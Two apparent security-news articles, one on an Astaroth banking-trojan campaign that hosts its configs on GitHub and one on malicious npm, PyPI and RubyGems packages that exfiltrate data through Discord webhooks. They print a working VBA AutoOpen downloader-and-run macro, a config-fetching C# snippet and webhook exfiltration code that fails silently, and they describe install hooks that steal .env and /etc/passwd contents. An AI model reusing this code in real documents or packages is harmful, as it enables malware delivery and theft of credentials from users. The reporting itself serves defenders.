A new wave of the Astaroth banking trojan has emerged, leveraging a novel approach to distribute its malicious configuration files.

First detected in late 2025, this latest campaign employs GitHub’s raw content service to host encrypted JSON configurations containing target URLs, browser injection parameters, and command-and-control (C2) endpoints.

By hiding critical settings behind GitHub’s trusted domain, Astaroth evades conventional network-based detections and blends seamlessly with routine developer traffic.

Delivery remains consistent with previous outbreaks, relying on spear-phishing emails that contain malicious Word documents outfitted with obfuscated macros and decoy content to dupe analysts.

Early victims report receiving emails purporting to be from financial institutions or corporate partners, often citing urgent invoice discrepancies.

Opening the attached document triggers a Visual Basic for Applications (VBA) macro that downloads a lightweight .NET loader from a remote site.

Once executed, the loader reaches out to GitHub’s raw content URLs to fetch the next-stage configuration, which is then decrypted in memory before spawning multiple threads for web injection and credential harvesting.

McAfee researchers noted that by using GitHub as a distribution point, the malware bypasses static allow-lists and hides in plain sight of endpoint protection platforms, significantly extending its window of operation.

Targeted primarily at European and North American banking customers, Astaroth’s impact includes unauthorized fund transfers, credential theft across multiple online banking portals, and in certain cases ransomware deployment for lateral movement.

Advanced Configuration Management Through GitHub Infrastructure

Victims remain unaware of the infection for weeks, as the malware employs both process hollowing and parent-child process masquerading to avoid sandbox detection.

Files dropped to disk are minimal, and registry entries masquerade as legitimate Microsoft Office components, complicating forensic analysis for security teams.

Delving into the infection mechanism reveals a sophisticated multi-stage process designed for stealth and reliability.

Upon opening the malicious Word document, the embedded macro executes the following sequence:-

Sub AutoOpen()
    Dim objHTTP As Object
    Dim strURL As String
    Dim strTemp As String

    Set objHTTP = CreateObject("MSXML2.XMLHTTP")
    strURL = "https://example.com/loader.exe"
    objHTTP.Open "GET", strURL, False
    objHTTP.Send

    strTemp = Environ("TEMP") & "\ldr.exe"
    If objHTTP.Status = 200 Then
        Set objFSO = CreateObject("Scripting.FileSystemObject")
        Set objFile = objFSO.CreateTextFile(strTemp, True)
        objFile.Write objHTTP.responseBody
        objFile.Close
        CreateObject("WScript.Shell").Run strTemp, 0, False
    End If
End Sub

Once ldr.exe executes, it invokes the following .NET routine to fetch and decrypt the GitHub-hosted configuration:

var url = "https://raw.githubusercontent.com/user/repo/main/config.dat";
using var wc = new WebClient();
byte[] data = wc.DownloadData(url);
byte[] decrypted = DecryptConfig(data, key);
var configJson = Encoding.UTF8.GetString(decrypted);

This mechanism illustrates Astaroth’s reliance on legitimate infrastructure to obscure malicious intent, complicating the ability of network defenders to discriminate between benign and malicious traffic.

Continuous monitoring of unusual GitHub raw content access from non-developer endpoints is now recommended as a key detection strategy.

Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.

The post Astaroth Banking Malware Leveraging GitHub to Host Malware Configurations appeared first on Cyber Security News.

Cybercriminals have discovered a novel way to co-opt Discord webhooks as surrogate command-and-control (C2) channels across popular language ecosystems.

Unlike traditional C2 servers, webhooks offer free, low-profile exfiltration that blends seamlessly into legitimate HTTPS traffic.

Over the past month, malicious packages in npm, PyPI, and RubyGems have quietly siphoned sensitive files and telemetry from developer machines and continuous integration environments.

Initial sightings involved a seemingly innocuous npm module named mysql-dumpdiscord. Upon installation or execution, it probes for configuration and environment files—such as config[.]json, [.]env, and ayarlar[.]js—reads their contents, and then issues an HTTP POST to a hard-coded Discord webhook URL.

The attacker-controlled webhook, embedded as a string constant, receives each file’s contents, with longer files truncated to 1,900 characters to fit Discord’s messaging limits.

Socket.dev analysts identified this technique only after network monitoring flagged an unusual spike in POST requests to discord[.]com/ api/ webhooks/....

Further investigation revealed a second npm proof-of-concept leveraging the official discord.js library:-

const { WebhookClient } = require ('discord.js');
module.exports = async function send (messages) {
  try {
    const client = new WebhookClient ({ url: 'https://discord.com/api/webhooks/1323713674971713676/…' });
    await client.send (messages.join(' '));
  } catch (e) {
    // Silent failure
  }
};

This minimalist approach transforms any string passed into the function into a C2 message, bypassing host-based detection that looks for unusual domains or signatures.

Across ecosystems, threat actors adopt similar tactics. In Python’s PyPI registry, a package dubbed malinssx overrides the install command in setuptools.

During pip install, it serializes a notification message in Vietnamese—“Some just installed the maladicus package via pip!”—and dispatches it to its Discord webhook.

Any network errors are caught and ignored, and the legitimate install process continues unobstructed.

In RubyGems, an altered version of sqlcommenterrails collects host metadata—such as / etc / passwd contents, DNS servers, current user, and public IP—and formats it into a multi-line JSON payload.

This is then POSTed to a webhook over HTTPS. Error handling is silent, ensuring no interruption in the gem installation.

Infection Mechanism

These packages exploit install-time hooks to achieve persistence and stealth. By overriding installer commands (install[.]run in Python, gemspec hooks in Ruby), malicious code executes before the host’s security controls alert on runtime behaviors.

This early-stage execution means secrets are exfiltrated long before code analysis or endpoint protection kicks in.

Moreover, using Discord’s infrastructure avoids raising suspicions from static allow-lists that permit traffic to discord[.]com for business collaboration, turning a trusted domain into a covert data pipeline.

Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.

The post Threat Actors Weaponize Discord Webhooks for Command and Control with npm, PyPI, and Ruby Packages appeared first on Cyber Security News.